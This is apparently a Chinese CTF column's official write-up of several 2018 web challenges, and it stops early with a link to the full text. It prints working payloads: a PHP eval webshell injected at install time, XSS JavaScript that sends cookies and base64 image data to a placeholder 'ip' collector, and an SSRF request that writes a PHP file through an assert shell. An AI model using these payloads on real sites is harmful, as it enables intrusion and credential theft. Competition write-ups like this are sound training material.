专栏名称: CTFer的魔法棒
CTFer的魔法棒,你的CTF参赛指南。 查看比赛日程、学习竞赛相关知识应有尽有
目录
相关文章推荐
药渡  ·  中纪委发文!从源头治理医药腐败 ·  3 天前  
重庆晨报  ·  知名巨头涉嫌逃税!或将面临天价罚款! ·  3 天前  
重庆晨报  ·  知名巨头涉嫌逃税!或将面临天价罚款! ·  3 天前  
51好读  ›  专栏  ›  CTFer的魔法棒

巅峰极客官方 Writeup(上)

CTFer的魔法棒  · 公众号  ·  · 2018-07-23 17:53

正文


pentest


目录扫描得到file/file.php,然后猜测可以跨目录删除文件

删除文件后重装metinfo,重装的时候数据库名填写:

met#*/@eval($_GET[1]);/*



密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。

最后就是getshell拿flag

mysqlonline


通过mysql执行,经过hex编码后,输出可以造成xss

select 0x3c7363726970743e616c6572742831293c2f7363726970743e

结合csrf即可打到后台


提交。


其中加载的js内容为:

self.location = 'http://ip/x.php?

v=aaa'+btoa(document.cookie)+'aaa';

可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。


访问: http://love.lemon/admin_zzzz666.php

提示后台只能是127.0.0.1这个访问。 所以需要改一下前面的csrf html


然后便可以打到cookie


通过页面源码获取可以知道一个 ./static/img/iamsecret_555.jpg

外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。

var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};


function getBase64(img){

function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小

var canvas = document.createElement("canvas");

canvas.width = width ? width : img.width;

canvas.height = height ? height : img.height;


var ctx = canvas.getContext("2d");

ctx.drawImage(img, 0, 0, canvas.width, canvas.height);

var dataURL = canvas.toDataURL();

return dataURL;

}

var image = new Image();

image.crossOrigin = '';

image.src = img;

return new Promise((resolve,reject)=>{

image.onload =function (){

resolve(getBase64Image(image));//将base64传给done上传处理

}

});

}


getBase64('http://127.0.0.1/static/img/iamsecret_555.jpg').then(base64 => {

love.post(

"http://ip/xss/x.php",

"v="+base64,

function(res){

console.log(res);

}

);

}, err => {

console.log(err)

})



获取图片内容


X.php内容

header('Access-Control-Allow-Origin: *');

file_put_contents('log.txt',$_POST['v']);


最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。

dedeFun


题目描述:

运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。

1.php

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {

die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);

}

$_GET['a']($_GET['b']);

?>


感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。

考点便是前段时间一个思路很棒的漏洞: dedecms利用通配符找后台目录

当然 getimagesize 这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。

所以接下来就比较简单了,直接利用本身的shell去操作即可。

POST /tags.php HTTP/1.1

Host: love.lemon

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6

Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 251


dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif



babyweb


首先看到首页:

用户名为[email protected]

猜测密码为弱口令babyweb@1990







请到「今天看啥」查看全文